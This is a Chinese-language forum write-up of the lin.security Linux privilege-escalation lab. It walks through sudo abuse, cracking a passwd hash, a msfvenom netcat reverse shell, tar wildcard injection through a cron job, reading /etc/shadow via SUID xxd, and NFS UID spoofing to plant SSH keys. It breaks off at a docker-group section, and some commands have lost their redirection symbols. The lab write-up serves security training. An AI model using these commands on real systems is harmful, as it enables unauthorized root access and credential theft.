標題:in.security 提權靶場

taibeihacker

Moderator

in.security 提权靶场​

20191031092159.png-water_print

lin.security 靶場是Linux 配置問題導致提權的靶場,它基於Ubuntu(18.04 LTS)的Linux 虛擬機,靶場提供許多權限提升的漏洞供我們練習關於linux 權限的相關知識,下面是這個靶場的下載鏈接:
靶場低權限用戶:bob:secret
查看当前用户的权限:whoami、id
查看系统的发行版本和内核版本:lsb_release -a、uname -a

1 linux 下的权限划分​

1.1 用户和组​

用戶組在linux 系統上起著重要作用,它們為選定的用戶提供了一種彼此共享文件的簡便方法。它們還使系統管理員可以更有效地管理用戶權限,因為他們可以將權限分配給組而不是單個用戶。
Linux 用戶分為管理員和普通用戶,普通用戶又分為系統用戶和自定義用戶。
系統管理員:即root 帳戶,UID 號為0,擁有所有系統權限,它類似於Windows 系統中的administrator 帳戶,是整個系統的所有者。
系統用戶:Linux 為滿足自身系統管理所內建的賬號,通常在安裝過程中自動創建,不能用於登錄操作系統。 UID 在1-499 之間(Centos 7 為1-999 之間)。像上面的sshd、 pulse 等等用戶即是此類用戶。它類似於Windows 中的system 帳戶,當然權限遠沒有system 帳戶高。
自定義用戶:由root 管理員創建供用戶登錄系統進行操作使用的賬號,UID 在500 以上(CentOS7 為1000 以上)。它類似於Windows 系統中users 用戶組中的帳戶。
在Linux 中的每個用戶必須屬於一個組,不能獨立於組外在Linux 中每個文件有所有者、所在組、其它組的概念同樣,用戶組的信息我們可以在/etc/group 中查看

1.2 /etc/passwd 文件​

在Linux 的/etc/passwd 文件中每個用戶都有一個對應的記錄行,它記錄了這個用戶的一些基本屬性。系統管理員經常會接觸到這個文件的修改以完成對用戶的管理工作。
給linux 系統添加賬戶:useradd -g group -d /home/to/user -m username
20191031101512.png-water_print

字段含義:
20191031101745.png-water_print

1.3 /etc/shadow 文件​

20191031102803.png-water_print

字段含義:
用戶名:加密密碼(! 表示無密碼):最後一次修改時間:最小修改時間間隔:密碼有效期:密碼需要變更前的警告天數:密碼過期後的寬限時間:賬號失效時間:保留字段
加密的密码具有固定格式:$id$salt$encrypted
id 表示加密算法,1 代表MD5,5 代表SHA-256,6 代表SHA-512
salt 為鹽值,系統隨機生成
encrypted 表示密碼的hash 值

1.4 文件权限​

linux 系統中,一切皆文件,包括普通文件、目錄、設備、套接字等
20191031103535.png-water_print

rwx對目錄的權限
r:表示具有讀取目錄結構列表的權限,表示可以查詢該目錄下的文件名數據。 即可以ls
w:表示可以對該文件夾下的文件或目錄進行添加、刪除、重命名、複製、剪切等操作
x:表示可以用戶能否進入該目錄成為工作目錄(當沒有x 權限,但是有w 權限時,也是無法向文件寫入文件的)

1.5 特殊权限​

SUID
該文件在執行的時候,會切換到所有者的權限執行
SGID
該文件在執行的時候,會切換到所有組的權限執行
SBIT
只有自己和管理員可以操作當前文件
20191031105116.png-water_print

2 sudo 权限配置不当提权​

sudo 其實是很常用的命令了,sudo 權限則是root 把本來只能超級用戶執行的命令賦予普通用戶執行,這裡的命令指的是系統命令,對於linux 來說一切皆是文件,所以系統命令也是一個文件。
一般來講當管理員需要某個用戶在執行root 權限的命令時,會去配置sudo。具體是修改/etc/sudoers 這個文件。但是普通用戶其實是查看和操作這個文件的,他只能查看自己是否被配置了sudo 權限。普通用戶可以採用sudo -l 這個命令來查看自己是否有sudo 配置。
20191031093053.png-water_print

bob 這個用戶可以執行很多的命令,利用這些命令可以簡單直接提升到root 權限。

2.1 /bin/ash​

20191031093521.png-water_print

2.2 /usr/bin/awk​

查看密碼文件/etc/shadow
20191031094733.png-water_print

2.3 /usr/bin/curl​

20191031095628.png-water_print

2.4 /usr/bin/find​

獲取shell
find . -exec /bin/sh \; -quit
20191031095809.png-water_print

可以發現,哪怕是find 這種查找命令被賦予了sudo,也能提權為root 權限,只要我們能夠巧妙的利用執行這些命令。限於篇幅,就不給出所有命令的利用方式了,我們可以參考資源
20191031095414.png-water_print

3 /etc/passwd的哈希​

linux 的用戶密碼哈希存儲在/etc/shadow 這個文件,而這個文件普通用戶是無法查看的。而普通用戶能夠查看到的則是/etc/passwd 這個文件。如果我們查看/etc/passwd 通常會看到以下內容:
1
root:x:0:0:root:/root:/bin/bash
如果有一個賬戶的第二列是密碼哈希,如果該列為x 則代表密碼哈希存儲在/etc/shadow 文件上。而在lin.security 虛擬機上可以看到像insecurity 這麼一個賬戶,這個賬號的uid 和gid 都為0。用類似Johnny 或者hash-identifier 會被表示成descrypt,進而可以被破解出來。
20191031100550.png-water_print

通過查詢,可得密碼為P@ssw0rd11。
20191031100710.png-water_print

20191031100948.png-water_print

4 利用定时任务cron以及通配符​

20191031101109.png-water_print

每隔1分鐘定期執行/etc/cron.daily/backup 這個文件。
20191031101427.png-water_print

這裡涉及到了利用通配符進行Linux 本地提權,我們需要另開一個bob 的ssh 會話。
使用msfvenom 生成nc 反彈一句話,命令如下:
-p:payload
R:RAW 原始數據
1
2
3
4
5
6
root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[-] No platform was selected, choosing Msf:Module:Platform:Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0/tmp/kuhdq | /bin/sh /tmp/kuhdq 21; rm /tmp/kuhdq
然後分別執行:
1
2
3
bob@linsecurity:~$ echo 'mkfifo /tmp/kuhdq; nc 127.0.0.1 8888 0/tmp/kuhdq | /bin/sh /tmp/kuhdq 21; rm /tmp/kuhdq' shell.sh chmod +x shell.sh
bob@linsecurity:~$ echo '' '--checkpoint-action=exec=sh shell.sh'
bob@linsecurity:~$ echo '' --checkpoint=1
我們在另外一個會話終端開啟nc 監聽:
1
nc -lvnp 8888
–checkpoint[=NUMBER] 顯示每個Numbers記錄的進度消息(默認值為10)
–checkpoint-action=ACTION 在每個checkpoint(檢查點)上執行ACTION
這裡的–checkpoint-action 選項,用於指定到達檢查點時將要執行的程序,這將允許我們運行一個任意的命令。因此,選項–checkpoint=1 和–checkpoint-action=exec=sh shell.sh 作為命令行選項交給了tar 程序。

5 利用隐藏文件​

有時候隱藏文件會存放一些重要的信息,比如我們搜索home 目錄下的所有隱藏文件,並用ls -al 顯示出來。
1
find/-name '.*' -type f -path '/home/*' -exec ls -al {} \; 2/dev/null
20191031105051.png-water_print

發現了susan 這個用戶有一個.secret 的隱藏文件,發現裡面存放susan 這個用戶的登陸密碼。
20191031105152.png-water_print

6 利用 SUID​

6.1 方案一​

SUID 這個是uid +s 的組合,s 指的是特殊權限。一般情況下,用戶的權限是3 位,比如0755 這樣的,默認特殊權限沒有配置,但是如果超級管理員希望用戶在執行一些特殊權限文件時,擁有root 的權限,就會配置特殊權限。
比如說passwd 這個命令,這個命令會修改/etc/shadow 文件,而/etc/shadow 只有root 才能修改,本來passwd 這個命令應該也只能root 才能執行的。但是系統為了讓普通用戶能夠修改自己的密碼,對passwd 這個命令賦予了特殊權限並添加了只能修改自己密碼的限制。
20191031105347.png-water_print

由於passwd 這個命令是做過限制的,所以賦予特殊權限是沒有問題的,但是如果系統超級用戶特殊權限亂用,就會導致提權的問題。
那我們怎麼去尋找系統是否存在特殊權限配置的文件呢?可以使用如下命令快速查找所有SUID 文件:
1
find/-perm -4000 -type f -exec ls -la {} 2/dev/null \;
我們發現瞭如下一個文件xxd。這個文件其實是命令文件,xxd 的作用是將一個文件以16 進制的形式顯示出來。他被配置了特殊權限,並且用戶組為itservices 是擁有執行權限x 的。
20191031105638.png-water_print

這就很危險了,一旦suid 和執行權限在一起就可能導致權限提升。
我們通過命令查看發現susan 這個用戶屬於itservices 這個用戶組。
我們用它來查看/etc/shadow 這個文件,更多利用方法可以參考https://gtfobins.github.io/gtfobins/xxd/.
1
xxd '/etc/shadow' | xxd -r
20191031110243.png-water_print

注: find /dir -exec 'command' 同樣的提權效果。

6.2 方案二​

除了上述的文件外,還發現了一個other 角色擁有執行權限的文件,這個文件不限用戶,所以危害更大。
20191031110406.png-water_print

參考https://gtfobins.github.io/gtfobins/taskset/#suid-enabled,發現該文件可以直接獲取shell。
20191031110657.png-water_print

7 NFS 提权​

nmap 掃描端口,查看開放服務:nmap -sS -Pn -p- -A IP
20191031113629.png-water_print

看到開放2049 端口,NFS 服務。也可以通過rpcinfo -p IP 命令來確定主機上是否運行或掛載了NFS 服務。
20191031114151.png-water_print

當showmount 命令與以下參數一起使用時,可以進行信息收集,例如:
掛載點
連接的主機
目錄
1
2
3
showmount IP //連接的主機
showmount -d IP //目錄
showmount -a IP //掛載點
在msf 中也有一個模塊,可以用來列出導出文件夾:auxiliary/scanner/nfs/nfsmount。
20191031114459.png-water_print

賬號peter 的家目錄可以被掛載:
1
2
mkdir /mnt/peter
mount 192.168.68.99:/home/peter /mnt/peter/
掛載好的peter 的家目錄,顯示的文件的所有者和所屬組分別為1001 和1005
20191031115226.png-water_print

嘗試在該目錄下創建文件,發現權限不夠。
即使我們在kali 攻擊機上是root 用戶,但是我們還是沒有寫入權限,因為默認情況下客戶端的root 身份會被主動壓縮成匿名者。
可以偽造文件所有者的UID 和GID 來欺騙NFS 服務器,創建一個gid 為1005 的用戶組,接著創建peter 這個賬戶uid 指定為1001,gid 指定為1005。
20191031115413.png-water_print

切換客戶端用戶為peter,服務端也認為是存在的用戶peter
20191031115618.png-water_print

可以直接向.ssh 文件夾下寫入公鑰,然後直接使用ssh 登錄。

8 利用 docker 组提权​

可以發現peter 屬於docker 組:
 
返回
上方